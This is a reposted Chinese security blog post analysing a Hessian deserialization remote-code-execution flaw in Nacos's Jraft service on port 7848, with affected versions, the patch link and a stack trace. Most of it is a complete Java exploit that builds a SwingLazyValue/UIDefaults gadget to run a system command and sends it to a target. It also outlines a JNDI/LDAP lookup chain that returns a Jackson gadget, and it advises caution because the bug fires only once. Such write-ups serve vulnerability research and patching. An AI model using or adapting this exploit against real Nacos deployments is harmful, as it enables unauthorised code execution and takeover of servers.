原文作者:Y4er
原文地址:https://y4er.com/posts/nacos-hessian-rce/
漏洞概述
由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞。
影响版本
Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。
主要受影响的是7848端口的Jraft服务。
分析
以nacos2.2.2为例,单机模式下启动
本地监听7848端口
补丁 https://github.com/alibaba/nacos/pull/10542/files
能看出来是hessian的锅,看一下在哪用的hessian
com.alibaba.nacos.consistency.SerializeFactory#getDefault 序列化工厂类
默认用的就是hessian,没啥可分析的。
重点在怎么构造请求包和gadget,根据《JRaft 用户指南》 可知以下代码
package org.example;
import
com.alibaba.nacos.consistency.entity.WriteRequest;
import
com.alipay.sofa.jraft.RouteTable;
import
com.alipay.sofa.jraft.conf.Configuration;
import
com.alipay.sofa.jraft.entity.PeerId;
import
com.alipay.sofa.jraft.option.CliOptions;
import
com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import
com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import
com.caucho.hessian.io.Hessian2Input;
import
com.caucho.hessian.io.Hessian2Output;
import
com.caucho.hessian.io.SerializerFactory;
import
com.google.protobuf.ByteString;
import
sun.reflect.misc.MethodUtil;
import
sun.swing.SwingLazyValue;
import
javax.swing.*;
import
java.io.ByteArrayInputStream;
import
java.io.ByteArrayOutputStream;
import
java.lang.reflect.Array;
import
java.lang.reflect.Constructor;
import
java.lang.reflect.Field;
import
java.lang.reflect.Method;
import
java.util.HashMap;
import
java.util.concurrent.ConcurrentHashMap;
public
class
Main {
public
static
void
send(
String
addr, byte[] payload) throws Exception {
Configuration conf =
new
Configuration();
conf.parse(addr);
RouteTable.getInstance().updateConfiguration(
"nacos"
, conf);
CliClientServiceImpl cliClientService =
new
CliClientServiceImpl();
cliClientService.init(
new
CliOptions());
RouteTable.getInstance().refreshLeader(cliClientService,
"nacos"
,
1000
).isOk();
PeerId leader = PeerId.parsePeer(addr);
Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField(
"parserClasses"
);
parserClasses.setAccessible(
true
);
ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());
map.put(
"com.alibaba.nacos.consistency.entity.WriteRequest"
, WriteRequest.getDefaultInstance());
MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());
final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup(
"naming_persistent_service_v2"
).setData(ByteString.copyFrom(payload)).build();
Object
o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest,
5000
);
}
private
static
byte[] build(
String
cmd) throws Exception {
String
[] command = {
"cmd"
,
"/c"
, cmd};
Method invoke = MethodUtil.class.getMethod(
"invoke"
, Method.class,
Object
.class,
Object
[].class);
Method exec = Runtime.class.getMethod(
"exec"
,
String
[].class);
SwingLazyValue swingLazyValue =
new
SwingLazyValue(
"sun.reflect.misc.MethodUtil"
,
"invoke"
,
new
Object
[]{invoke,
new
Object
(),
new
Object
[]{exec, Runtime.getRuntime(),
new
Object
[]{command}}});
// Object value = swingLazyValue.createValue(new UIDefaults());
// Method getClassFactoryMethod = SerializerFactory.class.getDeclaredMethod("getClassFactory");
// SwingLazyValue swingLazyValue1 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{getClassFactoryMethod, SerializerFactory.createDefault(), new Object[]{}}});
// Object value = swingLazyValue1.createValue(new UIDefaults());
//
// Method allowMethod = ClassFactory.class.getDeclaredMethod("allow", String.class);
// SwingLazyValue swingLazyValue2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{allowMethod, value, new Object[]{"*"}}});
// Object value1 = swingLazyValue2.createValue(new UIDefaults());
// System.out.println(value1);
UIDefaults u1 =
new
UIDefaults();
UIDefaults u2 =
new
UIDefaults();
u1.put(
"key"
, swingLazyValue);
u2.put(
"key"
, swingLazyValue);
HashMap hashMap =
new
HashMap();
Class node = Class.forName(
"java.util.HashMap$Node"
);
Constructor
constructor
= node.getDeclaredConstructor(
int.
class
,
Object
.
class
,
Object
.
class
, node
);
constructor
.setAccessible(
true
);
Object node1 =
constructor
.newInstance(
0, u1,
null
,
null
);
Object node2 =
constructor
.newInstance(
0, u2,
null
,
null
);
Field key = node.getDeclaredField(
"key"
);
key.setAccessible(
true
);
key.set(
node1, u1
);
key.set(
node2, u2
);
Field size = HashMap.class.getDeclaredField(
"size"
);
size.setAccessible(
true
);
size.set(
hashMap, 2
);
Field table = HashMap.class.getDeclaredField(
"table"
);
table.setAccessible(
true
);
Object arr = Array.newInstance(
node, 2
);
Array.set(
arr, 0, node1
);
Array.set(
arr, 1, node2
);
table.set(
hashMap, arr
);
HashMap hashMap1 = new HashMap(
);
size.set(
hashMap1, 2
);
table.set(
hashMap1, arr
);
HashMap map = new HashMap(
);
map.put(
hashMap, hashMap
);
map.put(
hashMap1, hashMap1
);
ByteArrayOutputStream baos = new ByteArrayOutputStream(
);
Hessian2Output output = new Hessian2Output(
baos
);
output.getSerializerFactory(
).setAllowNonSerializable(
true
);
output.writeObject(
map
);
output.flushBuffer(
);
Hessian2Input hessian2Input = new Hessian2Input(
new
ByteArrayInputStream(baos.toByteArray())
);
SerializerFactory.createDefault(
).getClassFactory(
).allow(
"*"
);
hessian2Input.readObject(
);
return baos.toByteArray(
);
}
public static void main(
String
[] args
) throws Exception {
byte[] bytes = build(
"calc"
);
send(
"localhost:7848", bytes
);
}
}
在
com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply
中判断类型是否是WriteRequest,所以需要处理一下WriteRequest类型,也就是反射的那几行。
触发堆栈如下
deseiralize0:61, HessianSerializer (com.alibaba.nacos.consistency.serialize)
deserialize:47, HessianSerializer (com.alibaba.nacos.consistency.serialize)
onApply:188, PersistentClientOperationServiceImpl (com.alibaba.nacos.naming.core.v2.service.impl)
onApply:122, NacosStateMachine (com.alibaba.nacos.core.distributed.raft)
doApplyTasks:589, FSMCallerImpl (com.alipay.sofa.jraft.core)
doCommitted:553, FSMCallerImpl (com.alipay.sofa.jraft.core)
runApplyTask:459, FSMCallerImpl (com.alipay.sofa.jraft.core)
access$100:73, FSMCallerImpl (com.alipay.sofa.jraft.core)
onEvent:150, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)
onEvent:142, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)
run:137, BatchEventProcessor (com.lmax.disruptor)
run:750, Thread (java.lang)
gadget构造
gadget的前半部分用hashmap来触发UIDefaults.get()就行,主要利用点在后半部分。之前打ctf的时候看到过一些方式
https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk/writeup
hessian有一些原生jdk的链,不过我复现的2.2.2版本中用的hessian-4.0.63.jar,这个版本有内置的黑名单
黑名单在 com.caucho.hessian.io.ClassFactory#isAllow(java.lang.String)
所以MethodUtils+Runtime不能用了,System.setProperty + InitalContext.doLookup
也g了,不过可以用com.sun.org.apache.bcel.internal.util.JavaWrapper
,直接加载bcel字节码rce,不过bcel classloader在8u251没了,所以仍然想找一个通用点的方式。
然后想像cc链那样链式执行加一个白名单进去,但是SwingLazyValue不能像transform那样链式,所以这个想法也g了。
于是和@X1r0z讨论了一下,nacos是springboot,内置了jackson,可以用jndi lookup配合jackson POJONode的gadget打rce
SwingLazyValue swingLazyValue =
new
SwingLazyValue(
"javax.naming.InitialContext"
,
"doLookup"
,
new
String
[]{
"ldap://127.0.0.1:1389/xx"
});
UIDefaults u1 =
new
UIDefaults();
UIDefaults u2 =
new
UIDefaults();
u1.put(
"aaa"
, swingLazyValue);
u2.put(
"aaa"
, swingLazyValue);
Map
map = HashColl.makeMap(u1, u2);
jdni自己写一个ldap server,返回jackson的gadget就行了,见这个Jackson.java
坑点
这个洞只能打一次,第二次就打不了了,所以一定要谨慎使用。
参考
- https://mp.weixin.qq.com/s/0J0K0iY3bcmYcOuPGymAlQ
- https://blog.z3ratu1.cn/0CTF2022%E5%A4%8D%E7%8E%B0.html
- https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
- https://www.sofastack.tech/projects/sofa-jraft/jraft-user-guide/
- https://siebene.github.io/2022/09/19/0CTF2022-hessian-onlyjdk-WriteUp/
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
原文作者:Y4er
原文地址:https://y4er.com/posts/nacos-hessian-rce/
原文始发于微信公众号(Ots安全):Nacos Hessian 反序列化 RCE
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论